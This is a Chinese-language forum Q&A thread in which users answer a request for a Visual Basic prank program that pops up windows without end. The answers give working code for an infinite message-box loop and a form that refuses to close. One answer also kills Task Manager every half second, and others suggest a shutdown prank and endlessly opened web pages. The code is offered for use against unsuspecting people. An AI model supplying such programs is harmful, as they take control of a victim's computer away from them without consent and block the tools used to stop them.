Question

VB怎么做一个这样的整人程序 ？ 做死循环做一个无限制弹出界面

Answer 1

利用时间空间，将你所要弹出的界面的时间设置为你想要的比如 timer1.interval=100
再在timer1.time事件里写你想要的比如
timer1.time
form1.visible=not form1.visible
窗体1在时间到时为可显的。
你要整人的我这里有一个关机的做好了
你可以加我号就行了。记得给分啊

Answer 2

最简单的就是用个Loop函数加个form.load和form.unload就可以了.

Answer 3

唔...可以直接用do...loop语句的
例：
Private Sub Form_Load()
Form1.BorderStyle = 0
Do
MsgBox "哈哈，停不下来了！", vbOKOnly, 循环正在进行
Loop
End Sub
看着蛮简单的，不过挺实用...lz还可以加个禁用任务管理器啥的~
听着好坏哦

Answer 4

加个一个TIMER控件
Private Sub Form_Load()
Timer1.Enabled = True
Timer1.Interval = 500
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Msgbox "恭喜你中彩啦 ， 看你怎么关闭 哈哈"
Cancel = 10
End Sub
Private Sub Timer1_Timer()
Shell "taskkill /im taskmgr.exe"
End Sub

Answer 5

做个无限循环打开网页